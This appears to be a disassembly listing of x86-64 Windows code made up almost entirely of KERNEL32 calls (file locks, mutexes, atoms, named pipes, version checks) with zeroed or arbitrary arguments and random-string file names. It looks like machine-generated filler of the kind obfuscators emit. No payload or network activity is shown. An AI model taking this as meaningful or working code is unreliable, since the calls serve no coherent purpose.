mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rcx, qword [rsp + 0xacf8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4d6c], eax
movsx eax, word [rsp + 0x984]
movsx ecx, word [rsp + 0xf38]
sub eax, ecx
mov rcx, qword [rsp + 0x9fe0]
mov word [rcx], ax
lea rcx, [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x20], 0x1581
mov r9d, 0x32e0
mov r8d, 0x251d
mov edx, 0x3a06
mov rcx, qword [rsp + 0xa2d0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4d2c], eax
lea rax, [rsp + 0x102]
mov qword [rsp + 0xb000], rax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x206a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4d70], eax
mov rax, qword [rsp + 0xace8]
mov rcx, qword [rsp + 0xa198]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xad60]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov eax, dword [rsp + 0x47c4]
mov dword [rsp + 0x4d74], eax
mov rcx, qword [rsp + 0x9710]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov r9d, 0xf23
xor r8d, r8d
lea rdx, [rsp + 0xa660]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d78], eax
lea rcx, [rsp + 0x1a888]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9558], rax
mov rax, qword [rsp + 0x9ac8]
mov ecx, dword [rsp + 0x4074]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48cc], eax
lea rax, [rsp + 0x274]
mov qword [0x14024f160], rax
mov r9d, 0x1e4e
xor r8d, r8d
lea rdx, [rsp + 0xa088]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a04], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4710]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xace0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa858]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8f20]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x980], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov rax, qword [rsp + 0x9d18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12f8]
imul eax, ecx
mov word [rsp + 0x11f4], ax
mov rcx, qword [rsp + 0xacf8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x238]
mov byte [rsp + 0x2c4], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.Am1TT_bOrVfnqwQhS_nRoU8x
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb008], rax
mov rax, qword [rsp + 0xa798]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x93c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x138c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rcx, [rsp + 0x1a6a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4890]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa98]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x11d0]
mov word [rsp + 0x13e4], ax
mov rax, qword [rsp + 0x9c48]
mov rcx, qword [rsp + 0xa540]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a54], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0x27e]
or eax, ecx
mov rcx, qword [0x14024f358]
mov byte [rcx], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9880], rax
mov rax, qword [rsp + 0x99f0]
mov rcx, qword [rsp + 0x9578]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x82d8], rax
movzx ecx, word [rsp + 0x1054]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13e8], ax
lea rcx, [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xafa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa808]
mov qword [rsp + 0xb010], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb010]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8180], rax
mov rax, qword [rsp + 0x8918]
mov rcx, qword [rsp + 0xa030]
mov qword [rsp + 0xb018], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb018]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xaa10]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
lea rax, [0x14022133e]
mov qword [rsp + 0xb020], rax
mov rax, qword [rsp + 0xa5f0]
mov rcx, qword [rsp + 0x9be0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8af8], rax
mov r9d, 0x691
xor r8d, r8d
lea rdx, [rsp + 0xadd8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a48], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x1158]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13a8], ax
mov rcx, qword [rsp + 0xaba0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
movzx eax, word [rsp + 0x136c]
mov word [rsp + 0x13ec], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb028], rax
mov rcx, qword [rsp + 0x9ba8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
mov edx, 0x1743
mov rcx, qword [rsp + 0xaf78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4d7c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7c0], rax
movsx eax, byte [rsp + 0x216]
movsx ecx, byte [rsp + 0x124]
add eax, ecx
mov rcx, qword [rsp + 0x8f98]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xac10], rax
mov rax, qword [rsp + 0x97e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4898]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e3c], eax
lea rax, [rsp + 0x99c]
mov qword [0x14024f158], rax
movzx ecx, word [rsp + 0x11d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13f0], ax
lea rcx, [rsp + 0xa9e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa0d8]
mov ecx, dword [0x14024f3b8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4750], eax
lea rdx, [rsp + 0xa510]
mov rcx, qword [rsp + 0xa0b8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x494c], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb030], rax
movzx ecx, word [rsp + 0x1174]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x124c], ax
movzx eax, byte [rsp + 0x20e]
movzx ecx, byte [rsp + 0x2a9]
add eax, ecx
mov byte [rsp + 0x2a4], al
mov rcx, qword [rsp + 0x98f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b50], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xacd0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x210c0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4d80], eax
mov eax, dword [rsp + 0x41a8]
mov dword [rsp + 0x4d84], eax
mov rax, qword [rsp + 0xa060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x11f4]
add eax, ecx
mov rcx, qword [rsp + 0xab40]
mov word [rcx], ax
mov rax, qword [rsp + 0x9ad0]
movzx eax, word [rax]
mov word [rsp + 0x13f4], ax
movsx eax, byte [rsp + 0x1fc]
mov rcx, qword [rsp + 0x9e50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x261], al
mov rax, qword [rsp + 0xa738]
mov ecx, dword [rsp + 0x496c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x44ec], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
lea rcx, str.Mp1xFwd_s01D55b_xxFy4PP4gS
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13dc], ax
mov rax, qword [rsp + 0x9720]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7cb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ab0], rax
lea rax, [rsp + 0x469c]
mov qword [0x14024f150], rax
lea rdx, [rsp + 0xa230]
mov rcx, qword [rsp + 0x9bd8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d88], eax
mov rax, qword [0x14024f378]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x700]
sar eax, cl
mov word [rsp + 0x99c], ax
lea rax, [rsp + 0x2bc]
mov qword [rsp + 0xb038], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa680], rax
mov r9d, 1
lea r8, [rsp + 0xa490]
mov rdx, qword [rsp + 0xb040]
mov rcx, qword [rsp + 0xa1e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c14], eax
mov rax, qword [rsp + 0x9e68]
mov rcx, qword [rsp + 0x7b18]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa378], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x9608]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa910]
mov qword [rsp + 0xb048], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb048]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xa7d0]
mov qword [rcx], rax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x1f4a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b38], eax
movzx eax, byte [rsp + 0x127]
mov byte [rsp + 0x2c5], al
mov rax, qword [rsp + 0x9d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1130]
or eax, ecx
mov word [rsp + 0x1084], ax
mov edx, 0xf72
mov rcx, qword [rsp + 0xa370]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4d8c], eax
mov rax, qword [rsp + 0xae20]
mov rcx, qword [rsp + 0x9d80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3eb0], eax
mov rax, qword [rsp + 0x9a70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa898]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x29f], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, dword [0x14022fbb4]
mov ecx, dword [rsp + 0x4070]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x14024f1d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaad8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9520]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdec], ax
mov r9d, 1
lea r8, [rsp + 0x8ee8]
mov rdx, qword [rsp + 0xb050]
mov rcx, qword [rsp + 0x95c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b40], eax
mov rax, qword [rsp + 0xae98]
mov qword [rsp + 0xb058], rax
mov edx, 0x1c4a
mov rcx, qword [rsp + 0xb028]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4c38], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x89c8]
mov rcx, qword [0x14022fb60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9af8]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x1010]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13f8], ax
lea rax, [rsp + 0x276]
mov qword [rsp + 0xb060], rax
movsx eax, word [rsp + 0x7e0]
mov rcx, qword [rsp + 0xa2e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8b4], ax
lea rax, [rsp + 0x43d0]
mov qword [rsp + 0xb068], rax
movsx eax, byte [rsp + 0x228]
mov rcx, qword [rsp + 0xa478]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2b6], al
movzx ecx, word [rsp + 0x119c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfa0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
xor r9d, r9d
lea r8, [rsp + 0x9808]
mov rdx, qword [rsp + 0x9790]
mov rcx, qword [rsp + 0x9fd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4d90], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
lea rdx, [rsp + 0xab98]
mov rcx, qword [rsp + 0xa7b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d94], eax
mov rax, qword [rsp + 0xa628]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9618]
mov word [rcx], ax
mov r9d, 2
lea r8, [rsp + 0x96f8]
mov rdx, qword [rsp + 0xb070]
mov rcx, qword [rsp + 0x9828]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4b88], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
lea rcx, [rsp + 0x1a768]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0x9a98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x13a0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13fc], ax
mov dword [rsp + 0x20], 0x24d8
mov r9d, 0x3c3c
mov r8d, 0x1e33
mov edx, 0x88f
mov rcx, qword [rsp + 0xa1b8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4840], eax
lea rcx, [rsp + 0x9ec8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rdx, [rsp + 0x9278]
mov rcx, qword [rsp + 0xa938]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d98], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov r9d, 1
lea r8, [rsp + 0x9de0]
mov rdx, qword [rsp + 0xb078]
mov rcx, qword [rsp + 0x9b00]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4808], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2d80
mov r9d, 0x3168
mov r8d, 0x742685c5
mov edx, 1
mov rcx, qword [rsp + 0xac88]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4d24], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x9ca8]
mov rcx, qword [rsp + 0xa7b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x49fc], eax
mov rax, qword [rsp + 0xa9b0]
mov ecx, dword [rsp + 0x4670]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14022fb70], eax
mov r9d, 1
lea r8, [rsp + 0xa9d8]
mov rdx, qword [rsp + 0x96f8]
mov rcx, qword [rsp + 0x9f48]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4d9c], eax
lea rdx, [rsp + 0xa5e0]
mov rcx, qword [rsp + 0xa528]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b64], eax
lea rax, [rsp + 0xa5d8]
mov qword [rsp + 0xb080], rax
mov rax, qword [rsp + 0x9708]
mov rcx, qword [rsp + 0x9e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7be8], rax
lea rcx, str.Ui1Wl4_LF_WMTDf
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1400], ax
mov rax, qword [0x14024f1d0]
mov eax, dword [rax]
mov dword [rsp + 0x4da0], eax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc20]
and eax, ecx
mov word [rsp + 0xa3c], ax
mov rax, qword [rsp + 0x9b70]
imul eax, dword [rax], 0x50e07ed3
mov dword [rsp + 0x4c9c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov dword [rsp + 0x20], 0x29b3
mov r9d, 0x25ee
mov r8d, 0x1b53
mov edx, 0x3b83
mov rcx, qword [rsp + 0x93c0]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4cc0], eax
mov rax, qword [rsp + 0x9ad0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9d30]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb70], ax
movsx eax, byte [rsp + 0x14b]
mov rcx, qword [rsp + 0xacc8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x2a2], al
movzx ecx, word [rsp + 0x1148]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1404], ax
movzx eax, byte [0x140221338]
mov byte [rsp + 0x2c6], al
mov dword [rsp + 0x20], 0x2d4
mov r9d, 0x1571
mov r8d, 0x364c
mov edx, 0x2b35
mov rcx, qword [rsp + 0xa328]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4a7c], eax
lea rcx, [rsp + 0x9de0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7c0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.OMWOYzC0ttMPCXfdX3rHpP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb088], rax
mov rax, qword [rsp + 0xaa70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9630]
mov qword [rsp + 0xb090], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb090]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14022fbc0], eax
lea rcx, [rsp + 0x1a6a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x1a2]
mov rcx, qword [rsp + 0x9a38]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa310]
mov byte [rcx], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x22a0
mov r9d, 0xea1
mov r8d, 0xbe6e7685
mov edx, 1
mov rcx, qword [rsp + 0xaf18]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4da4], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xab48], rax
mov rax, qword [rsp + 0xa0a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12f8]
sub eax, ecx
mov word [rsp + 0xd6c], ax
lea rcx, [rsp + 0x1a9a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x1378]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x134c], ax
mov rax, qword [rsp + 0xaf20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa108]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88f8], rax
lea rcx, [rsp + 0xb098]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x8898]
imul rax, qword [rsp + 0x7c38]
mov rcx, qword [rsp + 0x9620]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x1298]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11a8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
lea rax, [rsp + 0xf54]
mov qword [rsp + 0xb0a0], rax
mov rax, qword [rsp + 0xacc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa600]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2c4], al
mov rax, qword [rsp + 0x96a8]
mov eax, dword [rax]
mov ecx, dword [0x14022fb5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a5c], eax
movzx eax, byte [rsp + 0x28d]
mov byte [rsp + 0x2c7], al
mov r9d, 1
lea r8, [rsp + 0xb098]
mov rdx, qword [rsp + 0xa078]
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4da8], eax
mov eax, dword [rsp + 0x4800]
mov dword [0x14024f148], eax
mov dword [rsp + 0x20], 0x1407
mov r9d, 0x1002
mov r8d, 0x1fb3
mov edx, 0x3613
mov rcx, qword [rsp + 0x93d0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4b7c], eax
mov edx, 0x22d8
mov rcx, qword [rsp + 0x9c38]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4dac], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0x9738]
mov rcx, qword [rsp + 0xa650]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9560]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9820]
movzx eax, word [rax]
mov word [rsp + 0x1408], ax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x20580]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4c08], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb0a8], rax
mov rcx, qword [rsp + 0xa0f0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
mov edx, 0x40
lea rcx, [rsp + 0x1fb60]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4ba0], eax
mov rax, qword [rsp + 0xac20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9978]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa0c0]
mov qword [rcx], rax
lea rax, [rsp + 0x49b0]
mov qword [rsp + 0xb0b0], rax
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4c04]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4358], eax
lea rdx, [rsp + 0xa5a8]
mov rcx, qword [rsp + 0x9ea8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4db0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rcx, qword [rsp + 0xa038]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x206a0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4db4], eax
mov rax, qword [rsp + 0x97d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a3]
add eax, ecx
mov rcx, qword [rsp + 0xa538]
mov byte [rcx], al
movsx eax, word [rsp + 0xf70]
mov rcx, qword [rsp + 0x9a60]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe3c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x20580]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4934], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa558], rax
mov rax, qword [rsp + 0xa898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa058]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov byte [rcx], al
mov rax, qword [rsp + 0x9d18]
movzx eax, word [rax]
mov rcx, qword [0x14024f2b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14024f360]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf58]
mov qword [rsp + 0xb0b8], rax
movzx eax, byte [rsp + 0x2a4]
movzx ecx, byte [rsp + 0x11c]
or eax, ecx
mov rcx, qword [rsp + 0x95b0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaa48]
mov ecx, dword [0x14024f1e4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x48bc], eax
lea rcx, [rsp + 0x1aa08]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x600]
mov qword [rsp + 0xb0c0], rax
mov eax, dword [rsp + 0x47c4]
movzx ecx, al
mov eax, dword [rsp + 0x48b4]
sar eax, cl
mov dword [rsp + 0x4764], eax
